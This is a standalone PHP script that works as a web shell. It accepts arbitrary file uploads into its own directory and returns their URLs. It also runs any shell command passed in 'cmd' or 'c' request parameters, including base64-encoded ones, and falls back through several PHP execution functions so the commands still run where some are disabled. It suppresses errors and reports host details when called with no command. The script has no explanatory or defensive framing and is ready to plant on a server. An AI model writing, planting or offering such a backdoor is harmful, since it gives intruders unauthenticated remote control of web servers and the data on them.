error_reporting(0);
	if(isset($_FILES['f'])){
	$d=__DIR__.'/';
	$n=basename($_FILES['f']['name']);
		if($n&&move_uploaded_file($_FILES['f']['tmp_name'],$d.$n)){
		$s=isset($_SERVER['HTTPS'])?'https':'http';
		$u=$s.'://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']),'/').'/'.$n;
		echo json_encode(['ok'=>1,'url'=>$u]);
	}
		else{
		echo json_encode(['ok'=>0]);
	}
	exit;
}
$_s=($_SERVER['QUERY_STRING']==='=31');
$cmd=isset($_GET['cmd'])?$_GET['cmd']:(isset($_POST['cmd'])?$_POST['cmd']:(isset($_GET['c'])?$_GET['c']:''));
	if(!$cmd){
	echo 'OK:'.php_uname();
	exit;
}
	if(preg_match('/^[A-Za-z0-9+\/=]{
	4,
}
	$/',$cmd)){
	$d=@base64_decode($cmd);
	if($d&&strlen($d)<512&&preg_match('/^[\x20-\x7E]+$/',$d))$cmd=$d;
}
	function _ex($c){
	$r='';
	if(function_exists('shell_exec'))$r=@shell_exec($c.' 2>&1');
		if(($r===null||$r==='')&&function_exists('exec')){
		@exec($c.' 2>&1',$o);
		$r=implode("\n",$o);
	}
		if(!$r&&function_exists('system')){
		ob_start();
		@system($c.' 2>&1');
		$r=ob_get_clean();
	}
		if(!$r&&function_exists('passthru')){
		ob_start();
		@passthru($c.' 2>&1');
		$r=ob_get_clean();
	}
		if(!$r&&function_exists('popen')){
		$h=@popen($c.' 2>&1','r');
			if($h){
			while(!feof($h))$r.=fread($h,4096);
			@pclose($h);
		}
	}
		if(!$r&&function_exists('proc_open')){
		$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
		$p=@proc_open($c,$d,$pi);
			if($p){
			$r=@stream_get_contents($pi[1]);
			@proc_close($p);
		}
	}
	return $r;
}
if($cmd)echo _ex($cmd);